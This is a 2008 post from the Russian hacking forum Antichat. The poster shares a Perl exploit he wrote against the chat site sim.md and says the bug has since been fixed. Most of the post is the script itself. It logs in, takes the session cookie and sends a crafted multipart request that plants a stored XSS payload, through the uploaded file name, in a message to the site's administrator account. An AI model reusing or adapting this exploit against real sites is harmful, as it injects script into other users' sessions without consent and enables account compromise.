
31.05.2008, 09:16
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами:
10885346
Репутация:
2947
|
|
Кхмм.... когда то меня мучал этот же вопрос.....
могу дать как пример.. на изучение один сплойт для чата "h t t p : / / s i m . m d"
который я писал для себя, для тренеровок ... багу уже конечно прикрыли.. но я надеюсь что реализация
всего этого ... будет кому то инересна.... хех.. а возможно для кого то станет хорошей тренировочной куклой
PHP код:
#!/usr/bin/perl
########################################
## Сoded by slider
## http://forum.antichat.ru
## _____________________
## Victim:
## http://sim.md/
########################################
use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
#######_АВТОРИЗАЦИЯ_#######
$a_login = 'Логин';
$a_pass = 'Пароль';
#########################
$victim = 'Администратор'; # НИК ЖЕРТВЫ
$ploent = '<BODY ONLOAD=alert("XSS")>';
#########################
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => 'http://sim.md/login.php');
my $cookie_jar = HTTP::Cookies->new;
$ua->timeout(60);
$ua->cookie_jar($cookie_jar);
$req->content("login=$a_login&password=$a_pass&tochat=1");
$req->content_type('application/x-www-form-urlencoded');
$req->referer('http://sim.md/');
my $res = $ua->request($req);
if ($res->status_line=~'302'==1)
{print "[~] Auth: OK\n"};
$req = HTTP::Request->new(GET => 'http://sim.md/chat.php');
$req->header('Accept' => 'text/html');
$req->referer('http://sim.md/login.php');
$res = $ua->request($req);
$cook = $cookie_jar->as_string;
@res_arr = split(/\n/, $cook);
$cookies = '';
foreach (@res_arr)
{if (/^Set-Cookie3: ([^;]*);(.*)/){
$cookies = $1; chomp($cookies);}}
$a=q(POST http://sim.md/records.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://sim.md/records.php
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d7186135506dc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: sim.md
Content-Length: 812
Pragma: no-cache
Cookie: );$b=qq($cookies
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="action"
send
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="name"
$victim
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="msg"
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="file"; filename="$ploent"
Content-Type: application/octet-stream
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="forward"
-----------------------------7d7186135506dc--
);
$pack=$a.$b;
my $h_sock = new IO::Socket::INET (PeerAddr => "sim.md", PeerPort => '80', PeerProto => 'TCP' ) or die "[-] Exploit Failed";
print $h_sock $pack;
print "[~] Success ...\n";
|
|
|